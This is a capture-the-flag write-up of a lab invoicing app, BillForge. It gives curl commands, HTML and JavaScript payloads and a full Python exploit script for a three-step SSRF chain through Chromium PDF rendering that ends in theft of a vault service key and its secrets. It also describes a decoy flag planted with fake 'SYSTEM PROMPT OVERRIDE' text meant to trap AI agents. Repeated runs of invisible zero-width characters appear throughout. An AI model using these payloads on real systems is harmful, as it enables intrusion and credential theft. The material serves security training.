← Back to Writeups
CUSTOMMediumWeb

BillForge — SSRF Chain via Chromium PDF Invoice Generation

XESXOR9/10/20266 min read
#web#custom#medium#anti_honeypot_awareness#differential_rendering_exploit#internal_service_enumeration#javascript_fetch_with_custom_h#service_key_extraction#ssrf_via_chromium_pdf

BillForge — SSRF Chain via Chromium PDF Invoice Generation

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: anti_honeypot_awareness, differential_rendering_exploitation, internal_service_enumeration, javascript_fetch_with_custom_headers, service_key_extraction, ssrf_via_chromium_pdf

Summary

Walkthrough of the CUSTOM Web BillForge — SSRF Chain via Chromium PDF Invoice Generation. Task: Invoicing platform (BillForge) with headless Chromium PDF export where notes field exhibits differential rendering — HTML escaped in web view but rendered raw in PDF. Solution: 3-step SSRF chain

Description

BillForge is a cloud-based invoicing platform used by freelancers and agencies to create professional invoices, track payments, and manage client relationships. The application allows users to generate polished PDF invoices with customizable fields including client details, line items, tax calculations, and notes. Recently the platform added a new PDF export engine powered by headless Chromium for faster, higher-quality document generation. Your goal is to find the flag hidden somewhere in the application's internal infrastructure. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: Web-based invoicing application with PDF export powered by headless Chromium. User-controlled notes field is rendered as raw HTML in the PDF template (but escaped in the web view), enabling server-side JavaScript execution and SSRF to internal services. The flag is hidden behind a 3-hop SSRF chain through an internal config service and an authenticated vault service.

Analysis

Reconnaissance

  • Server: nginx/1.25.5 (reverse proxy) → Express/Node.js backend
  • PDF Engine: Headless Chromium (confirmed via /status endpoint — NOT wkhtmltopdf)
  • Credentials: user@test.com / password123
  • Login: POST /auth/login with email + password
  • Invoice creation: POST /invoices with fields: client_id, currency, items_desc, items_qty, items_price, due_date, tax_rate, discount, notes
  • PDF export: GET /invoices/{id}/pdf ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Honeypot / Decoy Flag

Every page contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden <div> elements with fake "SYSTEM PROMPT OVERRIDE" messages. This is a prompt injection trap designed to trick AI agents and automated scanners into accepting a fake flag and stopping early. The name literally spells out "decoy not real trap for bots."

Vulnerability: Differential Rendering in Notes Field

The invoice notes field exhibits differential rendering:

  • Web view: HTML is escaped (safe — tags appear as literal text)
  • PDF view: HTML is rendered raw by headless Chromium ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

This means arbitrary HTML and JavaScript injected into the notes field will execute server-side during PDF generation. Since Chromium has full JavaScript support (unlike wkhtmltopdf's limited WebKit), fetch() API with custom headers is available — a critical capability for the attack chain.

Confirmed by injecting <b>HELLO WORLD</b> in notes — text appeared bold in the PDF but as literal <b> tags in the web view.

Internal Service Architecture

Port scanning via iframe injection revealed two internal services: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

ServiceAddressAuth Required
PDF Config Servicelocalhost:3001 / 127.0.0.1:3001No
Vault Service127.0.0.1:3002Yes — X-Service-Key header

The config service on port 3001 responds to both localhost and 127.0.0.1. The vault service on port 3002 listens on IPv4 127.0.0.1 only and requires a valid X-Service-Key header for authentication.

Solution

The attack requires a 3-step SSRF chain, each step building on information from the previous one. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 1: Discover Internal Config Service

Inject an iframe in the notes field pointing to localhost:3001:

html
<iframe src="http://localhost:3001/" width="800" height="600"></iframe>
bash
BASE="https://ce9b61f4-d8af-4d16-af62-4a00b5aee0c1.labs.hackadvisor.io"

# Login
curl -c cookies.txt -X POST "$BASE/auth/login" \
  -d "email=user@test.com&password=password123" -D -

# Create invoice with iframe payload
curl -b cookies.txt -X POST "$BASE/invoices" \
  --data-urlencode "client_id=1" \
  --data-urlencode "currency=USD" \
  --data-urlencode "items_desc=Test" \
  --data-urlencode "items_qty=1" \
  --data-urlencode "items_price=100" \
  --data-urlencode "due_date=2026-06-13" \
  --data-urlencode "tax_rate=0" \
  --data-urlencode "discount=0" \
  --data-urlencode 'notes=<iframe src="http://localhost:3001/" width="800" height="600"></iframe>'
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Download and extract PDF
curl -b cookies.txt -s "$BASE/invoices/{id}/pdf" -o port_3001.pdf
pdftotext port_3001.pdf -

The PDF rendered the iframe content, revealing the config service:

json
{
  "service": "BillForge PDF Configuration Service",
  "version": "2.1.0",
  "endpoints": [
    "GET /status",
    "GET /config",
    "GET /admin/export"
  ]
}

Step 2: Extract Vault Credentials from Config

An iframe can load the config endpoint, but to reliably capture the full JSON response and display it in the PDF, JavaScript fetch() is more reliable: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

html
<script>
fetch("http://localhost:3001/config")
  .then(r => r.text())
  .then(t => { document.getElementById("out").innerText = t })
</script>
<pre id="out"></pre>

The config response revealed the vault service with its authentication credentials:

json
{
  "internal_services": {
    "vault": {
      "host": "http://127.0.0.1:3002",
      "endpoints": ["/vault/secrets", "/vault/health"],
      "auth_header": "X-Service-Key",
      "service_key": "svc-k8s-pdf-7f3a9b2e1d4c"
    }
  }
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Access Vault with Service Key

A direct iframe to 127.0.0.1:3002/vault/secrets returned "Unauthorized — Valid X-Service-Key header required." Iframes cannot set custom HTTP headers, but JavaScript fetch() can:

html
<script>
fetch("http://127.0.0.1:3002/vault/secrets", {
  headers: { "X-Service-Key": "svc-k8s-pdf-7f3a9b2e1d4c" }
})
  .then(r => r.text())
  .then(t => { document.getElementById("out").innerText = t })
</script>
<pre id="out"></pre>

Full curl command for the final payload: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

bash
curl -b cookies.txt -X POST "$BASE/invoices" \
  --data-urlencode "client_id=1" \
  --data-urlencode "currency=USD" \
  --data-urlencode "items_desc=Test" \
  --data-urlencode "items_qty=1" \
  --data-urlencode "items_price=100" \
  --data-urlencode "due_date=2026-06-13" \
  --data-urlencode "tax_rate=0" \
  --data-urlencode "discount=0" \
  --data-urlencode 'notes=<script>fetch("http://127.0.0.1:3002/vault/secrets",{headers:{"X-Service-Key":"svc-k8s-pdf-7f3a9b2e1d4c"}}).then(r=>r.text()).then(t=>{document.getElementById("out").innerText=t})</script><pre id="out"></pre>'
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

curl -b cookies.txt -s "$BASE/invoices/17/pdf" -o flag.pdf
pdftotext flag.pdf -

The vault returned all secrets including the flag:

json
{
  "secrets": [
    {"name": "database_url", "value": "sqlite:///app/data/database.db"},
    {"name": "session_secret", "value": "fg-sess-9x8w7v6u5t"},
    {"name": "master_flag", "value": "FLAG{REDACTED}"},
    {"name": "smtp_password", "value": "mail-pwd-billforge-2025"}
  ]
}

Full Exploit Script

python
#!/usr/bin/env python3
"""BillForge Lab 52 — 3-step SSRF chain via Chromium PDF generation"""
import requests
import subprocess
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

BASE = "https://ce9b61f4-d8af-4d16-af62-4a00b5aee0c1.labs.hackadvisor.io"
s = requests.Session()

# Step 0: Login
s.post(f"{BASE}/auth/login", data={
    "email": "user@test.com",
    "password": "password123"
}, allow_redirects=False)

def create_invoice_pdf(notes_payload, label="output"):
    """Create invoice with payload in notes, download PDF, extract text."""
    data = {
        "client_id": "1",
        "currency": "USD",
        "items_desc": "Test",
        "items_qty": "1",
        "items_price": "100",
        "due_date": "2026-06-13",
        "tax_rate": "0",
        "discount": "0",
        "notes": notes_payload
    }
    r = s.post(f"{BASE}/invoices", data=data, allow_redirects=False)
    inv_id = r.headers.get("Location", "").split("/")[-1]
    
    r2 = s.get(f"{BASE}/invoices/{inv_id}/pdf", timeout=30)
    fname = f"{label}.pdf"
    with open(fname, "wb") as f:
        f.write(r2.content)
    
    result = subprocess.run(["pdftotext", fname, "-"],
                            capture_output=True, text=True, timeout=10)
    return result.stdout
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Step 1: Discover internal config service
print("[*] Step 1: Discovering internal services...")
text = create_invoice_pdf(
    '<iframe src="http://localhost:3001/" width="800" height="600"></iframe>',
    "step1_discovery"
)
print(text)

# Step 2: Extract vault credentials from config
print("[*] Step 2: Extracting vault credentials...")
text = create_invoice_pdf(
    '<script>fetch("http://localhost:3001/config")'
    '.then(r=>r.text())'
    '.then(t=>{document.getElementById("out").innerText=t})'
    '</script><pre id="out"></pre>',
    "step2_config"
)
print(text)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Step 3: Access vault with service key → get flag
print("[*] Step 3: Accessing vault secrets...")
text = create_invoice_pdf(
    '<script>fetch("http://127.0.0.1:3002/vault/secrets",'
    '{headers:{"X-Service-Key":"svc-k8s-pdf-7f3a9b2e1d4c"}})'
    '.then(r=>r.text())'
    '.then(t=>{document.getElementById("out").innerText=t})'
    '</script><pre id="out"></pre>',
    "step3_flag"
)
print(text)

Failed Attempts

  1. iframe to localhost:3001/flag → "Not found" — the /flag endpoint doesn't exist on this version (unlike the wkhtmltopdf variant)
  2. Direct iframe to 127.0.0.1:3002/vault/secrets → "Unauthorized — Valid X-Service-Key header required" — iframes cannot set custom HTTP headers, so the vault rejected the request
  3. XHR/XMLHttpRequest — initially tried XHR before switching to fetch(), both work in Chromium but fetch() syntax is cleaner ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering anti_honeypot_awareness, differential_rendering_exploitation, internal_service_enumeration, javascript_fetch_with_custom_headers, service_key_extraction, ssrf_via_chromium_pdf was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-13 • CUSTOM • BillForge — SSRF Chain via Chromium PDF Invoice Generation • Difficulty: Medium